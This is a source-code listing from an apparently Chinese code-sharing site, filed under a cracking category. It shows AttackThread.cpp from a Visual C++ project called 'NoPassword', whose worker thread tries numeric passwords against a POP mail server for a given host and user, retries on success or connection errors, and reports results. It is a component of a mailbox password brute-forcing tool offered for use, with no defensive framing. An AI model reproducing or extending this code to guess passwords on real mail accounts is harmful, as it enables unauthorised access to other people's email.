AttackThread.cpp
上传用户:chenhai826
上传日期:2007-04-11
资源大小:72k
文件大小:1k
源码类别:

破解

开发平台:

Visual C++

  1. // AttackThread.cpp: implementation of the CAttackThread class.
  2. //
  3. //////////////////////////////////////////////////////////////////////
  4. #include "stdafx.h"
  5. #include "NoPassword.h"
  6. #include "AttackThread.h"
  7. #include "Pop.h"
  8. #include "ReportParam.h"
  9. #ifdef _DEBUG
  10. #undef THIS_FILE
  11. static char THIS_FILE[]=__FILE__;
  12. #define new DEBUG_NEW
  13. #endif
  14. //////////////////////////////////////////////////////////////////////
  15. // Construction/Destruction
  16. //////////////////////////////////////////////////////////////////////
  17. HWND CAttackThread::m_hMainWnd = NULL;
  18. CString CAttackThread::m_Host;
  19. CString CAttackThread::m_User;
  20. long CAttackThread::m_nNum;
  21. CAttackThread::CAttackThread(CWnd *pWnd,int nPwd)
  22. :CThread(pWnd)
  23. {
  24. m_nPassword = nPwd;
  25. }
  26. CAttackThread::~CAttackThread()
  27. {
  28. }
  29. BOOL CAttackThread::InitWork(void)
  30. {
  31. m_pReport = new CReportParam;
  32. m_pReport->password = m_nPassword;
  33. m_nTimes = 2;
  34. return TRUE;
  35. }
  36. void CAttackThread::CleanupWork(void)
  37. {
  38. InterlockedDecrement(&m_nNum);
  39. }
  40. BOOL CAttackThread::Work(void)
  41. {
  42. CPop pop;
  43. m_pReport->nEvent = pop.Connect(m_Host,m_User,m_nPassword);
  44. pop.Disconnect();
  45. if((m_pReport->nEvent == REPORT_CONNECT_ERROR ||
  46. m_pReport->nEvent == REPORT_SUCCEED) && m_nTimes)
  47. {
  48. m_nTimes--;
  49. return TRUE; //Test again
  50. }
  51. else
  52. {
  53. PostMessage(m_hMainWnd,UM_THREAD_REPORT,m_nNum-1,(long)m_pReport);
  54. return FALSE;
  55. }
  56. }